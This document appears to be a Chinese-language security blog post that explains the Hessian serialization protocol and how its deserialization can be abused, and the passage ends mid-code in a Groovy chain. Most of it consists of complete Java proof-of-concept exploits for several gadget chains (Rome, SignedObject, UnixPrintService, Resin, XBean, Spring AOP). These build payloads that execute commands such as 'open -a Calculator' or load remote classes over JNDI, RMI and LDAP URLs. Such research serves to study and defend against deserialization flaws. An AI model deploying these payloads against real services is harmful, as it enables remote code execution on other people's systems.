RPC介绍 RPC(Remote Procedure Call,远程过程调用)是一个计算机通信协议,该协议允许运行于一台计算机的程序调用另一个地址空间(通常为一个开放网络的一台计算机)的子程序,而程序员就像调用本地程序一样,无需额外地为这个交互作用编程(无需关注细节)。RPC是一种客户端/服务端(Client/Server)模式,经典实现是一个通过发送请求-接受回应进行信息交互的系统。
与RMI(Remote Method Invocation,远程方法调用)类似,RPC和RMI都能通过网络调用远程服务,但不同之处就在于它以标准的二进制格式来定义请求的信息 ( 请求的对象、方法、参数等 ),这种方式传输信息的优点之一就是跨语言及操作系统。如果涉及的软件采用面向对象编程 ,那么远程过程调用亦可称作远程调用或远程方法调用,即RMI。因此,在面向对象编程范式下,RMI其实是RPC的一种具体实现。
RPC协议的通信过程如下:
客户端调用客户端stub(client stub),这个调用是在本地,并将调用参数push到栈中
客户端stub(client stub)将这些参数包装,并通过系统调用发送到服务端机器,打包的过程叫marshalling (常见方式为XML、JSON及二进制编码)
客户端本地操作系统发送信息至服务器(可通过自定义TCP协议或HTTP传输)
服务器系统将信息传送至服务端stub(server stub)
服务端stub(server stub)解析信息,该过程叫unmarshalling
服务端stub(server stub)调用程序,并通过类似的方式返回给客户端
反序列化机制 在Java中,序列化能够将一个Java对象转换为一串便于传输的字节序列。而反序列化与之相反,能够从字节序列中恢复出一个对象,序列化和反序列化机制大体分为两类:
Bean 基于Bean属性访问机制有以下几类,这种机制的攻击面比基于Field机制的攻击面大,因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。
1 2 3 4 5 6 7 8 9 SnakeYAML jYAML YamlBeans Apache Flex BlazeDS Red5 IO AMF Jackson Castor Java XMLDecoder ...
Field 基于Field机制的反序列化是通过特殊的native(方法或反射)直接对Field进行赋值操作的机制,而不是通过getter、setter方式对属性赋值。
1 2 3 4 5 6 Java Serialization Kryo Hessian json-io XStream ...
Hessian介绍 Hessian是caucho 公司的工程项目,为了达到或超过ORMI/Java JNI等其他跨语言/平台调用的能力设计而出,在2004点发布1.0规范,一般称之为Hessian,并逐步迭代,在Hassian jar 3.2.0之后,采用了新的2.0版本的协议,一般称之为Hessian2。
Hessian是一种动态类型的二进制序列化 和 Web 服务 协议,专为面向对象的传输而设计。Hessian协议在设计之初,重点针对几个目标:必须尽可能的快、必须尽可能紧凑、跨语言、不需要外部模式或接口定义等等。
对于这样的设计,caucho公司其实提供了两种解决方案,一个是Hession,一个是Burlap。Hession是基于二进制的实现,传输数据更小更快,而Burlap的消息是XML的,有更好的可读性,两种数据都是基于HTTP协议传输。
Hessian本身作为Resin 的一部分,但是它的com.caucho.hessian.client和com.caucho.hessian.server包不依赖于任何其他的Resin类,因此它也可以使用任何容器,例如Tomcat中,也可以使用在EJB中。事实上很多通讯框架都使用或支持了这个规范来序列化及反序列化类。
作为一个二进制的序列化协议,Hessian自行定义了一套自己的储存和还原数据的机制。对8种基础数据类型、3种递归类型、ref引用以及Hessian2中的内部引用映射进行了相关定义。这样的设计使得Hassian可以进行跨语言跨平台的调用。
Hessian序列化和反序列化机制的基本概念图如下:
AbstractSerializerFactory:抽象序列化器工厂,是管理和维护对应序列化/反序列化机制的工厂,拥有getSerializer和getDeserializer方法,默认的几种实现如下
SerializerFactory:标准的实现
ExtSerializerFactory:可以设置自定义的序列化机制,通过该Factory可以进行扩展
BeanSerializerFactory:对SerializerFactory的默认Object的序列化机制进行强制指定,指定为BeanSerializer
Serializer:序列化的接口,拥有writeObject方法
Deserializer:反序列化的接口,拥有readObject、readMap、readList等方法
AbstractHessianInput:Hessian自定义的输入流,提供对应的read各种类型的方法
AbstractHessianOutput:Hessian自定义的输出流,提供对应的write各种类型的方法
在Hessian的Serializer中,有以下几种默认实现的序列化器:
在Hessian的Deserializer中,有以下几种默认实现的反序列化器:
反序列化漏洞 分析 测试代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package org.example.deserialize.hessian;import java.io.Serializable;public class HessianProtocolTest implements Serializable { public String name; public String version; public String getName () { return name; } public String getVersion () { return version; } public void setName (String name) { this .name = name; } public void setVersion (String version) { this .version = version; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package org.example.deserialize.hessian;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;public class HessianSerialize { public static void main (String[] args) throws Exception { HessianProtocolTest test = new HessianProtocolTest (); test.setName("Hessian" ); test.setVersion("4.0.63" ); System.out.println("[+] Hessian Serialize" ); byte [] bytes = serialize(test); System.out.println(new String (bytes)); System.out.println("[+] Hessian Serialize Length" ); System.out.println(new String (bytes).length()); System.out.println("[+] Hessian Deserialize" ); System.out.println((HessianProtocolTest) deserizlize(bytes)); } public static <T> byte [] serialize(T t) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); HessianOutput hessianOutput = new HessianOutput (byteArrayOutputStream); hessianOutput.writeObject(t); return byteArrayOutputStream.toByteArray(); } public static <T> T deserizlize (byte [] bytes) throws Exception { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); HessianInput hessianInput = new HessianInput (byteArrayInputStream); Object object = hessianInput.readObject(); return (T) object; } }
在hessianInput.readObject处下断点,跟进com.caucho.hessian.io.HessianInput#readObject方法,由于Hessian会将序列化的结果处理成一个Map,因此序列化结果的第一个byte恒为M,故tag的值为77。
进入case ‘M’,调用com.caucho.hessian.io.SerializerFactory#readMap方法。
跟进com.caucho.hessian.io.SerializerFactory#readMap方法,调用SerializerFactory#getDeserializer方法。
跟进com.caucho.hessian.io.SerializerFactory#getDeserializer方法,Hessian协议使用unsafe创建类实例,经过一系列判断之后会创建一个HashMap对象作为_cachedTypeDeserializerMap的值,并将需要反序列化的类作为key存入HashMap中。
跟进put方法,就是经典的调用任意类的hashCode方法或者equals方法,因此只需要找到后续Gadget的利用即可。
除此之外,当_cachedTypeDeserializerMap为TreeMap时, 类比于CC4,会调用compare方法,进而调用到key的compareTo方法。
也就是说Hessian相对比原生反序列化的利用链,有几个限制:
kick-off chain起始方法只能为hashCode/equals/compareTo方法
利用链中调用的成员变量不能为transient修饰
所有的调用不依赖类中readObject的逻辑,也不依赖getter/setter的逻辑
这几个限制也导致了很多Java原生反序列化利用链在Hessian中无法使用,甚至ysoserial中一些明明是hashCode/equals/compareTo触发的链子都不能直接拿来用。
利用链 Rome JNDI Rome链核心是ToStringBean,这个类的toString方法会调用他封装类的全部无参getter方法,所以可以借助JdbcRowSetImpl#getDatabaseMetaData方法触发JNDI注入。但是有个坑点,要调用JdbcRowSetImpl#setMatchColumn方法设置值,不然走不到最后。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package org.example.deserialize.hessian;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.rowset.JdbcRowSetImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import sun.print.UnixPrintService;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.security.*;import java.util.Base64;import java.util.HashMap;public class RomeGadgetOfHessian { public static void main (String[] args) throws Exception { String url = "rmi://127.0.0.1:1099/tx3jze" ; JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl (); jdbcRowSet.setDataSourceName(url); jdbcRowSet.setMatchColumn("1" ); ToStringBean toStringBean = new ToStringBean (JdbcRowSetImpl.class, jdbcRowSet); EqualsBean equalsBean = new EqualsBean (ToStringBean.class, new ToStringBean (String.class, "1" )); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(equalsBean, "1" ); setFieldValue(equalsBean, "_obj" , toStringBean); try { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); HessianOutput objectOutputStream = new HessianOutput (byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.flush(); objectOutputStream.close(); String _base64 = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(_base64); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); HessianInput objectInputStream = new HessianInput (byteArrayInputStream); objectInputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
二次反序列化 在Rome经典Gadget中,由于利用JNDI需要出网,所以限制较高,因此还需要寻找无需出网的利用方式。其中一个常见的利用方式是使用java.security.SignedObject类进行二次反序列化,该类中的getObject方法会从流里使用原生反序列化读取数据,就造成了二次反序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 package org.example.deserialize.hessian;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.rowset.JdbcRowSetImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import sun.print.UnixPrintService;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.security.*;import java.util.Base64;import java.util.HashMap;public class RomeGadgetOfHessian { public static void main (String[] args) throws Exception { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("SignedObjectGadget" ); CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superClass); CtConstructor ctConstructor = new CtConstructor (new CtClass []{}, ctClass); ctConstructor.setBody("Runtime.getRuntime().exec(\"open -a Calculator\");" ); ctClass.addConstructor(ctConstructor); byte [][] bytes = {ctClass.toBytecode()}; TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , bytes); setFieldValue(templates, "_name" , "h3rmesk1t" ); setFieldValue(templates, "_tfactory" , null ); ToStringBean toStringBean = new ToStringBean (Templates.class, templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException ("" ); setFieldValue(badAttributeValueExpException, "val" , toStringBean); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 ); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA" ); SignedObject signedObject = new SignedObject (badAttributeValueExpException, privateKey, signingEngine); ToStringBean bean = new ToStringBean (SignedObject.class, signedObject); EqualsBean equalsBean = new EqualsBean (ToStringBean.class, new ToStringBean (Class.class, "" )); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(equalsBean, "1" ); setFieldValue(equalsBean, "_obj" , bean); try { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); HessianOutput objectOutputStream = new HessianOutput (byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.flush(); objectOutputStream.close(); String _base64 = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(_base64); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); HessianInput objectInputStream = new HessianInput (byteArrayInputStream); objectInputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
命令执行 对于Unix操作系统,还可以利用sun.print.UnixPrintService直接执行命令的方式,这个类有很多get方法,通过拼接字符串的方式可以执行系统命令,但是该类在高版本被移除。还有一点需要注意的是,UnixPrintService接口是没有实现Serializable接口的,利用setAllowNonSerializable进行绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 package org.example.deserialize.hessian;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.rowset.JdbcRowSetImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import sun.print.UnixPrintService;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.security.*;import java.util.Base64;import java.util.HashMap;public class RomeGadgetOfHessian { public static void main (String[] args) throws Exception { Constructor<UnixPrintService> unixPrintServiceConstructor = UnixPrintService.class.getDeclaredConstructor(String.class); unixPrintServiceConstructor.setAccessible(true ); ToStringBean toStringBean = new ToStringBean (UnixPrintService.class, unixPrintServiceConstructor.newInstance("|open -a Calculator" )); EqualsBean equalsBean = new EqualsBean (ToStringBean.class, new ToStringBean (Class.class, "" )); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(equalsBean, "1" ); setFieldValue(equalsBean, "_obj" , toStringBean); try { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); HessianOutput objectOutputStream = new HessianOutput (byteArrayOutputStream); objectOutputStream.getSerializerFactory().setAllowNonSerializable(true ); objectOutputStream.writeObject(hashMap); objectOutputStream.flush(); objectOutputStream.close(); String _base64 = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(_base64); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); HessianInput objectInputStream = new HessianInput (byteArrayInputStream); objectInputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
Resin Resin利用链的入口点是HashMap对比两个对象时触发的com.sun.org.apache.xpath.internal.objects.XString的equals方法,使用XString#equals方法触发com.caucho.naming.QName#toSting方法。
QName是Resin对上下文Context的一种封装,它的toString方法会调用其封装类的composeName方法获取复合上下文的名称。
Resin链使用了javax.naming.spi.ContinuationContext类,其composeName方法调用getTargetContext方法,然后调用NamingManager#getContext方法。
漏洞触发点在NamingManager#getObjectInstance方法,当ref不为null时,调用getObjectFactoryFromReference方法,接着调用VersionHelper12#loadClass方法加载类并实例化,加载时使用了URLClassLoader并指定了类名和codebase。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 package org.example.deserialize.hessian;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.caucho.naming.QName;import com.sun.org.apache.xpath.internal.objects.XString;import javax.naming.CannotProceedException;import javax.naming.Context;import javax.naming.Reference;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Hashtable;public class ResinGadgetOfHessian { public static void main (String[] args) throws Exception { Class<?> clazz = Class.forName("javax.naming.spi.ContinuationContext" ); Constructor<?> constructor = clazz.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); constructor.setAccessible(true ); CannotProceedException cannotProceedException = new CannotProceedException (); cannotProceedException.setResolvedObj(new Reference ("Calculator" , "Calculator" , "http://127.0.0.1:2333/" )); Object obj = constructor.newInstance(cannotProceedException, new Hashtable <>()); QName qName = new QName ((Context) obj, "1" , "2" ); XString xString = new XString ("" ); HashMap<Object, Object> map1 = new HashMap <>(); HashMap<Object, Object> map2 = new HashMap <>(); map1.put("aa" , qName); map1.put("bB" , xString); map2.put("aa" , xString); map2.put("bB" , qName); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(map1, "" ); hashMap.put(map2, "" ); try { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); HessianOutput objectOutputStream = new HessianOutput (byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.flush(); objectOutputStream.close(); String _base64 = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(_base64); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); HessianInput objectInputStream = new HessianInput (byteArrayInputStream); objectInputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
XBean 相较于Resin利用链,XBean链在XBean中找到了类似功能的实现。首先还是用XString触发org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding的toString方法(继承javax.naming.Binding),接着利用toString方法调用getObject方法获取对象。
接着调用org.apache.xbean.naming.context.ContextUtil#resolve方法,该方法中调用了javax.naming.spi.NamingManager#getObjectInstance方法,后面就是和Resin链的调用过程一样了,远程加载恶意字节码操作。
在构造POC的时候需要注意两个地方,第一个是恶意类需要继承ObjectFactory接口,第二个是需要在序列化加上objectOutputStream.getSerializerFactory().setAllowNonSerializable(true)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package org.example.deserialize.hessian;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.sun.org.apache.xpath.internal.objects.XString;import org.apache.xbean.naming.context.ContextUtil;import org.apache.xbean.naming.context.WritableContext;import javax.naming.Reference;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.util.Base64;import java.util.HashMap;public class XBeanGadgetOfHessian { public static void main (String[] args) throws Exception { Reference reference = new Reference ("Calculator" , "Calculator" , "http://127.0.0.1:2333/" ); ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil .ReadOnlyBinding("Calculator" , reference, new WritableContext ()); XString xString = new XString ("" ); HashMap<Object, Object> map1 = new HashMap <>(); HashMap<Object, Object> map2 = new HashMap <>(); map1.put("aa" , readOnlyBinding); map1.put("bB" , xString); map2.put("aa" , xString); map2.put("bB" , readOnlyBinding); HashMap<Object, Object> hashMap = new HashMap <>(); hashMap.put(map1, "1" ); hashMap.put(map2, "1" ); try { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); HessianOutput objectOutputStream = new HessianOutput (byteArrayOutputStream); objectOutputStream.writeObject(hashMap); objectOutputStream.flush(); objectOutputStream.close(); String _base64 = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(_base64); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); HessianInput objectInputStream = new HessianInput (byteArrayInputStream); objectInputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
SpringAbstractBeanFactoryPointcutAdvisor 这条利用链利用的是HashMap对比触发equals方法,核心是AbstractPointcutAdvisor和其子类AbstractBeanFactoryPointcutAdvisor。触发点在AbstractPointcutAdvisor#equals方法,对比两个AbstractPointcutAdvisor是否相同。
跟进其子类org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor#getAdvice方法,AbstractBeanFactoryPointcutAdvisor是和BeanFactory有关的PointcutAdvisor,简单来说就是进行切片时可以使用beanFactory里面注册的实例。因此,getAdvice方法会调用其成员变量beanFactory的getBean方法获取Bean实例,结合SimpleJndiBeanFactory即可触发JNDI注入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 package org.example.deserialize.hessian;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;import org.springframework.jndi.support.SimpleJndiBeanFactory;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;public class SpringAOPGadgetOfHessian { public static void main (String[] args) throws Exception { String jndiUrl = "ldap://127.0.0.1:1389/fxqymu" ; SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory (); simpleJndiBeanFactory.setShareableResources(jndiUrl); DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor (); defaultBeanFactoryPointcutAdvisor.setBeanFactory(simpleJndiBeanFactory); defaultBeanFactoryPointcutAdvisor.setAdviceBeanName(jndiUrl); HashMap<Object, Object> hashMap = new HashMap <>(); setFieldValue(hashMap, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , new DefaultBeanFactoryPointcutAdvisor (), new DefaultBeanFactoryPointcutAdvisor (), null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , defaultBeanFactoryPointcutAdvisor, defaultBeanFactoryPointcutAdvisor, null )); setFieldValue(hashMap, "table" , tbl); try { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); HessianOutput objectOutputStream = new HessianOutput (byteArrayOutputStream); objectOutputStream.getSerializerFactory().setAllowNonSerializable(true ); objectOutputStream.writeObject(hashMap); objectOutputStream.flush(); objectOutputStream.close(); String _base64 = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(_base64); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); HessianInput objectInputStream = new HessianInput (byteArrayInputStream); objectInputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
SpringPartiallyComparableAdvisorHolder 这条链的触发点在AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder#toString方法,当advisor实现了Ordered接口时,会调用advisor的getOrder方法。
此时,需要寻找一个同时实现了Advisor和Ordered接口的类,这里选择org.springframework.aop.aspectj.AspectJPointcutAdvisor,其getOrder方法会调用org.springframework.aop.aspectj.AbstractAspectJAdvice#getOrder方法。
跟进org.springframework.aop.aspectj.AbstractAspectJAdvice#getOrder方法,继续调用org.springframework.aop.aspectj.AspectInstanceFactory#getOrder方法,这里利用其子类org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory来完成getOrder方法的调用。接着往后的操作和SpringAbstractBeanFactoryPointcutAdvisor利用链中一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 package org.example.deserialize.hessian;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.sun.org.apache.xpath.internal.objects.XString;import org.springframework.aop.aspectj.AbstractAspectJAdvice;import org.springframework.aop.aspectj.AspectInstanceFactory;import org.springframework.aop.aspectj.AspectJAroundAdvice;import org.springframework.aop.aspectj.AspectJPointcutAdvisor;import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;import org.springframework.jndi.support.SimpleJndiBeanFactory;import sun.reflect.ReflectionFactory;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;public class SpringContextAOPGadgetOfHessian { public static void main (String[] args) throws Exception { String jndiUrl = "ldap://127.0.0.1:1389/fxqymu" ; SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory (); simpleJndiBeanFactory.setShareableResources(jndiUrl); AspectInstanceFactory aspectInstanceFactory = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class); setFieldValue(aspectInstanceFactory, "beanFactory" , simpleJndiBeanFactory); setFieldValue(aspectInstanceFactory, "name" , jndiUrl); AbstractAspectJAdvice abstractAspectJAdvice = createWithoutConstructor(AspectJAroundAdvice.class); setFieldValue(abstractAspectJAdvice, "aspectInstanceFactory" , aspectInstanceFactory); AspectJPointcutAdvisor aspectJPointcutAdvisor = createWithoutConstructor(AspectJPointcutAdvisor.class); setFieldValue(aspectJPointcutAdvisor, "advice" , abstractAspectJAdvice); Class<?> clazz = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder" ); Object partiallyComparableAdvisorHolder = createWithoutConstructor(clazz); setFieldValue(partiallyComparableAdvisorHolder, "advisor" , aspectJPointcutAdvisor); XString xString = new XString ("" ); HashMap map1 = new HashMap (); HashMap map2 = new HashMap (); map1.put("aa" , partiallyComparableAdvisorHolder); map1.put("bB" , xString); map2.put("aa" , xString); map2.put("bB" , partiallyComparableAdvisorHolder); HashMap hashMap = new HashMap (); hashMap.put(map1,"" ); hashMap.put(map2,"" ); try { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); HessianOutput objectOutputStream = new HessianOutput (byteArrayOutputStream); objectOutputStream.getSerializerFactory().setAllowNonSerializable(true ); objectOutputStream.writeObject(hashMap); objectOutputStream.flush(); objectOutputStream.close(); String _base64 = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(_base64); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (byteArrayOutputStream.toByteArray()); HessianInput objectInputStream = new HessianInput (byteArrayInputStream); objectInputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true ); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } public static void setFieldValue ( final Object obj, final String fieldName, final Object value ) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) throws Exception { return createWithConstructor(classToInstantiate, Object.class, new Class [0 ], new Object [0 ]); } @SuppressWarnings ( { "unchecked" } ) public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) throws Exception { Constructor<? super T> objConstructor = constructorClass.getDeclaredConstructor(consArgTypes); objConstructor.setAccessible(true ); Constructor<?> constructor = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objConstructor); constructor.setAccessible(true ); return (T) constructor.newInstance(consArgs); } }
Groovy 触发点使用TreeMap触发compareTo方法,使用ConvertedClosure生成动态代理对象,将方法调用转移至MethodClosure封装类,借用其doCall方法进一步调用ContinuationDirContext#listBindings方法触发后续的攻击流程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 package org.example.deserialize.hessian;import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import org.codehaus.groovy.runtime.ConvertedClosure;import org.codehaus.groovy.runtime.MethodClosure;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Proxy;import java.util.Base64;import java.util.Hashtable;import java.util.TreeMap;import javax.naming.CannotProceedException;import javax.naming.Reference;public class GroovyGadgetOfHessian { public static void main (String[] args) throws Exception { Reference reference = new Reference ("Calculator" , "Calculator" , "http://127.0.0.1:8000/" ); CannotProceedException cpe = new CannotProceedException (); cpe.setResolvedObj(reference); Class<?> aClass = Class.forName("javax.naming.spi.ContinuationDirContext" ); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); declaredConstructor.setAccessible(true ); Object c1 = declaredConstructor.newInstance(cpe, new Hashtable <>()); MethodClosure methodClosure = new 